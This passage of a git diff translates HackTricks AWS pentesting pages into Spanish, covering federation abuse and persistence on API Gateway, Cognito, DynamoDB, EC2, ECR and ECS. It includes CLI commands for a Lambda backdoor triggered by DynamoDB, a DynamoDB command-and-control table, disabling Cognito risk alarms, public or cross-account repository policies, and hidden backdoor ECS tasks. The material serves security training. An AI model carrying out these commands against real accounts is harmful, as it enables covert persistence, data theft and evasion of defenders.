configurar las credenciales. -If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn --role-session-name sessname`) and configure the credentials. - -You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\ -A config file example: - +Puedes usar el archivo `~/.aws/config` para [**indicar qué roles asumir**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), y luego usar el parámetro `--profile` como de costumbre (el `assume-role` se realizará de manera transparente para el usuario).\ +Un ejemplo de archivo de configuración: ``` [profile acc2] region=eu-west-2 @@ -368,23 +347,16 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` - -With this config file you can then use aws cli like: - +Con este archivo de configuración, puedes usar aws cli así: ``` aws --profile acc2 ... ``` +Si estás buscando algo **similar** a esto pero para el **navegador**, puedes revisar la **extensión** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). -If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en). - -## References +## Referencias - [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html) - [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/) - [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 73ae6b448..df2679bc3 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -1,87 +1,84 @@ -# AWS - Federation Abuse +# AWS - Abuso de Federación {{#include ../../../banners/hacktricks-training.md}} ## SAML -For info about SAML please check: +Para obtener información sobre SAML, consulta: {{#ref}} https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key) +Para configurar una **Federación de Identidad a través de SAML**, solo necesitas proporcionar un **nombre** y el **XML de metadatos** que contenga toda la configuración de SAML (**puntos finales**, **certificado** con clave pública) -## OIDC - Github Actions Abuse +## OIDC - Abuso de Github Actions -In order to add a github action as Identity provider: - -1. For _Provider type_, select **OpenID Connect**. -2. For _Provider URL_, enter `https://token.actions.githubusercontent.com` -3. Click on _Get thumbprint_ to get the thumbprint of the provider -4. For _Audience_, enter `sts.amazonaws.com` -5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "token.actions.githubusercontent.com:sub": [ - "repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", - "repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" - ], - "token.actions.githubusercontent.com:aud": "sts.amazonaws.com" - } - } - } - ] - } - ``` -6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**. -7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**. -8. Finally use a github action to configure the AWS creds to be used by the workflow: +Para agregar una acción de github como proveedor de identidad: +1. Para _Tipo de proveedor_, selecciona **OpenID Connect**. +2. Para _URL del proveedor_, ingresa `https://token.actions.githubusercontent.com` +3. Haz clic en _Obtener huella digital_ para obtener la huella digital del proveedor +4. Para _Audiencia_, ingresa `sts.amazonaws.com` +5. Crea un **nuevo rol** con los **permisos** que necesita la acción de github y una **política de confianza** que confíe en el proveedor como: +- ```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"token.actions.githubusercontent.com:sub": [ +"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request", +"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main" +], +"token.actions.githubusercontent.com:aud": "sts.amazonaws.com" +} +} +} +] +} +``` +6. Nota en la política anterior cómo solo se autorizó una **rama** de un **repositorio** de una **organización** con un **disparador** específico. +7. El **ARN** del **rol** que la acción de github podrá **suplantar** será el "secreto" que la acción de github necesita conocer, así que **almacénalo** dentro de un **secreto** dentro de un **entorno**. +8. Finalmente, usa una acción de github para configurar las credenciales de AWS que serán utilizadas por el flujo de trabajo: ```yaml name: "test AWS Access" # The workflow should only trigger on pull requests to the main branch on: - pull_request: - branches: - - main +pull_request: +branches: +- main # Required to get the ID Token that will be used for OIDC permissions: - id-token: write - contents: read # needed for private repos to checkout +id-token: write +contents: read # needed for private repos to checkout jobs: - aws: - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v3 +aws: +runs-on: ubuntu-latest +steps: +- name: Checkout +uses: actions/checkout@v3 - - name: Configure AWS Credentials - uses: aws-actions/configure-aws-credentials@v1 - with: - aws-region: eu-west-1 - role-to-assume:${{ secrets.READ_ROLE }} - role-session-name: OIDCSession +- name: Configure AWS Credentials +uses: aws-actions/configure-aws-credentials@v1 +with: +aws-region: eu-west-1 +role-to-assume:${{ secrets.READ_ROLE }} +role-session-name: OIDCSession - - run: aws sts get-caller-identity - shell: bash +- run: aws sts get-caller-identity +shell: bash ``` - -## OIDC - EKS Abuse - +## OIDC - EKS Abuso ```bash # Crate an EKS cluster (~10min) eksctl create cluster --name demo --fargate @@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` - -It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy: - +Es posible generar **OIDC providers** en un **EKS** cluster simplemente configurando la **OIDC URL** del cluster como un **nuevo proveedor de identidad Open ID**. Esta es una política predeterminada común: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com" +} +} +} +] } ``` +Esta política indica correctamente que **solo** el **clúster EKS** con **id** `20C159CDF6F2349B68846BEC03BE031B` puede asumir el rol. Sin embargo, no indica qué cuenta de servicio puede asumirlo, lo que significa que **CUALQUIER cuenta de servicio con un token de identidad web** podrá **asumir** el rol. -This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role. - -In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as: - +Para especificar **qué cuenta de servicio debería poder asumir el rol,** es necesario especificar una **condición** donde se **especifica el nombre de la cuenta de servicio**, como: ```bash "oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account", ``` - -## References +## Referencias - [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index 28868b9f1..f7e27b516 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -1,21 +1,17 @@ -# AWS - Permissions for a Pentest +# AWS - Permisos para un Pentest {{#include ../../banners/hacktricks-training.md}} -These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools: +Estos son los permisos que necesitas en cada cuenta de AWS que deseas auditar para poder ejecutar todas las herramientas de auditoría de AWS propuestas: -- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) -- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions: - - **access-analyzer:List\*** - - **access-analyzer:Get\*** - - **iam:CreateServiceLinkedRole** - - **access-analyzer:CreateAnalyzer** - - Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission) - - **access-analyzer:DeleteAnalyzer** - - Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission) +- La política predeterminada **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess) +- Para ejecutar [aws_iam_review](https://github.com/carlospolop/aws_iam_review) también necesitas los permisos: +- **access-analyzer:List\*** +- **access-analyzer:Get\*** +- **iam:CreateServiceLinkedRole** +- **access-analyzer:CreateAnalyzer** +- Opcional si el cliente genera los analizadores por ti, pero generalmente es más fácil simplemente pedir este permiso) +- **access-analyzer:DeleteAnalyzer** +- Opcional si el cliente elimina los analizadores por ti, pero generalmente es más fácil simplemente pedir este permiso) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/README.md index f3b45c4d3..ed4e6e39a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/README.md @@ -1,6 +1 @@ -# AWS - Persistence - - - - - +# AWS - Persistencia diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index 6d2b0ec35..40e26b6da 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -1,36 +1,32 @@ -# AWS - API Gateway Persistence +# AWS - Persistencia de API Gateway {{#include ../../../banners/hacktricks-training.md}} ## API Gateway -For more information go to: +Para más información, ve a: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Resource Policy +### Política de Recursos -Modify the resource policy of the API gateway(s) to grant yourself access to them +Modifica la política de recursos del(los) API gateway(s) para concederte acceso a ellos. -### Modify Lambda Authorizers +### Modificar Autorizadores de Lambda -Modify the code of lambda authorizers to grant yourself access to all the endpoints.\ -Or just remove the use of the authorizer. +Modifica el código de los autorizadores de lambda para concederte acceso a todos los endpoints.\ +O simplemente elimina el uso del autorizador. -### IAM Permissions +### Permisos de IAM -If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\ -Or just remove the use of the authorizer. +Si un recurso está utilizando un autorizador de IAM, podrías concederte acceso modificando los permisos de IAM.\ +O simplemente elimina el uso del autorizador. -### API Keys +### Claves de API -If API keys are used, you could leak them to maintain persistence or even create new ones.\ -Or just remove the use of API keys. +Si se utilizan claves de API, podrías filtrarlas para mantener la persistencia o incluso crear nuevas.\ +O simplemente elimina el uso de claves de API. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index e2e037e53..cd6e7e640 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -4,24 +4,24 @@ ## Cognito -For more information, access: +Para más información, accede a: {{#ref}} ../aws-services/aws-cognito-enum/ {{#endref}} -### User persistence +### Persistencia de usuarios -Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like: +Cognito es un servicio que permite otorgar roles a usuarios no autenticados y autenticados y controlar un directorio de usuarios. Se pueden alterar varias configuraciones diferentes para mantener cierta persistencia, como: -- **Adding a User Pool** controlled by the user to an Identity Pool -- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow** - - Or to an **authenticated Identity Pool** if the attacker can login - - Or **improve the permissions** of the given roles -- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool** -- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool +- **Agregar un User Pool** controlado por el usuario a un Identity Pool +- Dar un **rol IAM a un Identity Pool no autenticado y permitir el flujo de autenticación básica** +- O a un **Identity Pool autenticado** si el atacante puede iniciar sesión +- O **mejorar los permisos** de los roles otorgados +- **Crear, verificar y privesc** a través de atributos controlados por usuarios o nuevos usuarios en un **User Pool** +- **Permitir Proveedores de Identidad externos** para iniciar sesión en un User Pool o en un Identity Pool -Check how to do these actions in +Consulta cómo realizar estas acciones en {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md @@ -29,18 +29,12 @@ Check how to do these actions in ### `cognito-idp:SetRiskConfiguration` -An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options: - +Un atacante con este privilegio podría modificar la configuración de riesgo para poder iniciar sesión como un usuario de Cognito **sin que se disparen alarmas**. [**Consulta la cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas las opciones: ```bash aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION} ``` - -By default this is disabled: +Por defecto, esto está deshabilitado:
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index 75a824e73..2c1a6f488 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -1,67 +1,59 @@ -# AWS - DynamoDB Persistence +# AWS - Persistencia en DynamoDB {{#include ../../../banners/hacktricks-training.md}} ### DynamoDB -For more information access: +Para más información accede a: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### DynamoDB Triggers with Lambda Backdoor - -Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account. +### Disparadores de DynamoDB con puerta trasera de Lambda +Usando disparadores de DynamoDB, un atacante puede crear una **puerta trasera sigilosa** al asociar una función Lambda maliciosa con una tabla. La función Lambda puede ser activada cuando se añade, modifica o elimina un ítem, permitiendo al atacante ejecutar código arbitrario dentro de la cuenta de AWS. ```bash # Create a malicious Lambda function aws lambda create-function \ - --function-name MaliciousFunction \ - --runtime nodejs14.x \ - --role \ - --handler index.handler \ - --zip-file fileb://malicious_function.zip \ - --region +--function-name MaliciousFunction \ +--runtime nodejs14.x \ +--role \ +--handler index.handler \ +--zip-file fileb://malicious_function.zip \ +--region # Associate the Lambda function with the DynamoDB table as a trigger aws dynamodbstreams describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region # Note the "StreamArn" from the output aws lambda create-event-source-mapping \ - --function-name MaliciousFunction \ - --event-source \ - --region +--function-name MaliciousFunction \ +--event-source \ +--region ``` +Para mantener la persistencia, el atacante puede crear o modificar elementos en la tabla de DynamoDB, lo que activará la función Lambda maliciosa. Esto permite al atacante ejecutar código dentro de la cuenta de AWS sin interacción directa con la función Lambda. -To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function. - -### DynamoDB as a C2 Channel - -An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands. +### DynamoDB como un Canal C2 +Un atacante puede usar una tabla de DynamoDB como un **canal de comando y control (C2)** creando elementos que contengan comandos y utilizando instancias comprometidas o funciones Lambda para recuperar y ejecutar estos comandos. ```bash # Create a DynamoDB table for C2 aws dynamodb create-table \ - --table-name C2Table \ - --attribute-definitions AttributeName=CommandId,AttributeType=S \ - --key-schema AttributeName=CommandId,KeyType=HASH \ - --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ - --region +--table-name C2Table \ +--attribute-definitions AttributeName=CommandId,AttributeType=S \ +--key-schema AttributeName=CommandId,KeyType=HASH \ +--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ +--region # Insert a command into the table aws dynamodb put-item \ - --table-name C2Table \ - --item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ - --region +--table-name C2Table \ +--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \ +--region ``` - -The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources. +Las instancias comprometidas o funciones Lambda pueden verificar periódicamente la tabla C2 en busca de nuevos comandos, ejecutarlos y, opcionalmente, informar los resultados de vuelta a la tabla. Esto permite al atacante mantener la persistencia y el control sobre los recursos comprometidos. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index b52ac9e85..c6a8ca00a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -4,55 +4,51 @@ ## EC2 -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Security Group Connection Tracking Persistence +### Persistencia de Seguimiento de Conexiones del Grupo de Seguridad -If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic. +Si un defensor descubre que una **instancia de EC2 fue comprometida**, probablemente intentará **aislar** la **red** de la máquina. Podría hacer esto con un **Deny NACL** explícito (pero los NACL afectan a toda la subred), o **cambiando el grupo de seguridad** para no permitir **ningún tipo de tráfico entrante o saliente**. -If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** +Si el atacante tenía un **reverse shell originado desde la máquina**, incluso si el SG se modifica para no permitir tráfico entrante o saliente, la **conexión no será eliminada debido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.** -### EC2 Lifecycle Manager +### Administrador del Ciclo de Vida de EC2 -This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\ -An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**. +Este servicio permite **programar** la **creación de AMIs y snapshots** e incluso **compartirlos con otras cuentas**.\ +Un atacante podría configurar la **generación de AMIs o snapshots** de todas las imágenes o todos los volúmenes **cada semana** y **compartirlos con su cuenta**. -### Scheduled Instances +### Instancias Programadas -It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access. +Es posible programar instancias para que se ejecuten diariamente, semanalmente o incluso mensualmente. Un atacante podría ejecutar una máquina con altos privilegios o acceso interesante donde podría acceder. -### Spot Fleet Request +### Solicitud de Flota Spot -Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**. +Las instancias spot son **más baratas** que las instancias regulares. Un atacante podría lanzar una **pequeña solicitud de flota spot por 5 años** (por ejemplo), con **asignación automática de IP** y un **user data** que envía al atacante **cuando la instancia spot inicia** y la **dirección IP** y con un **rol IAM de alto privilegio**. -### Backdoor Instances +### Instancias de Puerta Trasera -An attacker could get access to the instances and backdoor them: +Un atacante podría acceder a las instancias y ponerles una puerta trasera: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md)) -- Backdooring the **User Data** +- Usando un **rootkit** tradicional, por ejemplo +- Agregando una nueva **clave SSH pública** (consulta [opciones de privesc de EC2](../aws-privilege-escalation/aws-ec2-privesc.md)) +- Poniendo una puerta trasera en el **User Data** -### **Backdoor Launch Configuration** +### **Configuración de Lanzamiento de Puerta Trasera** -- Backdoor the used AMI -- Backdoor the User Data -- Backdoor the Key Pair +- Poner una puerta trasera en el AMI utilizado +- Poner una puerta trasera en el User Data +- Poner una puerta trasera en el Par de Claves ### VPN -Create a VPN so the attacker will be able to connect directly through i to the VPC. +Crea una VPN para que el atacante pueda conectarse directamente a través de ella a la VPC. -### VPC Peering +### Peering de VPC -Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC. +Crea una conexión de peering entre la VPC de la víctima y la VPC del atacante para que pueda acceder a la VPC de la víctima. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index 07928fbd4..2c9f93271 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -4,98 +4,88 @@ ## ECR -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-ecr-enum.md {{#endref}} -### Hidden Docker Image with Malicious Code +### Imagen de Docker Oculta con Código Malicioso -An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner. +Un atacante podría **subir una imagen de Docker que contenga código malicioso** a un repositorio de ECR y usarla para mantener la persistencia en la cuenta de AWS objetivo. El atacante podría luego desplegar la imagen maliciosa en varios servicios dentro de la cuenta, como Amazon ECS o EKS, de manera sigilosa. -### Repository Policy - -Add a policy to a single repository granting yourself (or everybody) access to a repository: +### Política del Repositorio +Agrega una política a un solo repositorio otorgándote a ti mismo (o a todos) acceso a un repositorio: ```bash aws ecr set-repository-policy \ - --repository-name cluster-autoscaler \ - --policy-text file:///tmp/my-policy.json +--repository-name cluster-autoscaler \ +--policy-text file:///tmp/my-policy.json # With a .json such as { - "Version" : "2008-10-17", - "Statement" : [ - { - "Sid" : "allow public pull", - "Effect" : "Allow", - "Principal" : "*", - "Action" : [ - "ecr:BatchCheckLayerAvailability", - "ecr:BatchGetImage", - "ecr:GetDownloadUrlForLayer" - ] - } - ] +"Version" : "2008-10-17", +"Statement" : [ +{ +"Sid" : "allow public pull", +"Effect" : "Allow", +"Principal" : "*", +"Action" : [ +"ecr:BatchCheckLayerAvailability", +"ecr:BatchGetImage", +"ecr:GetDownloadUrlForLayer" +] +} +] } ``` - > [!WARNING] -> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository. +> Tenga en cuenta que ECR requiere que los usuarios tengan **permiso** para hacer llamadas a la **`ecr:GetAuthorizationToken`** API a través de una política IAM **antes de que puedan autenticarse** en un registro y subir o bajar imágenes de cualquier repositorio de Amazon ECR. -### Registry Policy & Cross-account Replication +### Política de Registro y Replicación entre Cuentas -It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry. +Es posible replicar automáticamente un registro en una cuenta externa configurando la replicación entre cuentas, donde necesita **indicar la cuenta externa** en la que desea replicar el registro.
-First, you need to give the external account access over the registry with a **registry policy** like: - +Primero, necesita dar acceso a la cuenta externa sobre el registro con una **política de registro** como: ```bash aws ecr put-registry-policy --policy-text file://my-policy.json # With a .json like: { - "Sid": "asdasd", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::947247140022:root" - }, - "Action": [ - "ecr:CreateRepository", - "ecr:ReplicateImage" - ], - "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" +"Sid": "asdasd", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::947247140022:root" +}, +"Action": [ +"ecr:CreateRepository", +"ecr:ReplicateImage" +], +"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` - -Then apply the replication config: - +Luego aplica la configuración de replicación: ```bash aws ecr put-replication-configuration \ - --replication-configuration file://replication-settings.json \ - --region us-west-2 +--replication-configuration file://replication-settings.json \ +--region us-west-2 # Having the .json a content such as: { - "rules": [{ - "destinations": [{ - "region": "destination_region", - "registryId": "destination_accountId" - }], - "repositoryFilters": [{ - "filter": "repository_prefix_name", - "filterType": "PREFIX_MATCH" - }] - }] +"rules": [{ +"destinations": [{ +"region": "destination_region", +"registryId": "destination_accountId" +}], +"repositoryFilters": [{ +"filter": "repository_prefix_name", +"filterType": "PREFIX_MATCH" +}] +}] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 988626c8f..2c6d71352 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -4,29 +4,28 @@ ## ECS -For more information check: +Para más información, consulta: {{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}} -### Hidden Periodic ECS Task +### Tarea Periódica Oculta de ECS > [!NOTE] > TODO: Test -An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account. - +Un atacante puede crear una tarea periódica oculta de ECS utilizando Amazon EventBridge para **programar la ejecución de una tarea maliciosa periódicamente**. Esta tarea puede realizar reconocimiento, exfiltrar datos o mantener persistencia en la cuenta de AWS. ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ - { - "name": "malicious-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - } +{ +"name": "malicious-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +} ]' # Create an Amazon EventBridge rule to trigger the task periodically @@ -34,70 +33,61 @@ aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate # Add a target to the rule to run the malicious ECS task aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ - { - "Id": "malicious-ecs-task-target", - "Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", - "RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", - "EcsParameters": { - "TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", - "TaskCount": 1 - } - } +{ +"Id": "malicious-ecs-task-target", +"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster", +"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role", +"EcsParameters": { +"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task", +"TaskCount": 1 +} +} ]' ``` - -### Backdoor Container in Existing ECS Task Definition +### Contenedor de puerta trasera en la definición de tarea ECS existente > [!NOTE] -> TODO: Test - -An attacker can add a **stealthy backdoor container** in an existing ECS task definition that runs alongside legitimate containers. The backdoor container can be used for persistence and performing malicious activities. +> TODO: Probar +Un atacante puede agregar un **contenedor de puerta trasera sigiloso** en una definición de tarea ECS existente que se ejecute junto a contenedores legítimos. El contenedor de puerta trasera puede ser utilizado para persistencia y realizar actividades maliciosas. ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ - { - "name": "legitimate-container", - "image": "legitimate-image:latest", - "memory": 256, - "cpu": 10, - "essential": true - }, - { - "name": "backdoor-container", - "image": "malicious-image:latest", - "memory": 256, - "cpu": 10, - "essential": false - } +{ +"name": "legitimate-container", +"image": "legitimate-image:latest", +"memory": 256, +"cpu": 10, +"essential": true +}, +{ +"name": "backdoor-container", +"image": "malicious-image:latest", +"memory": 256, +"cpu": 10, 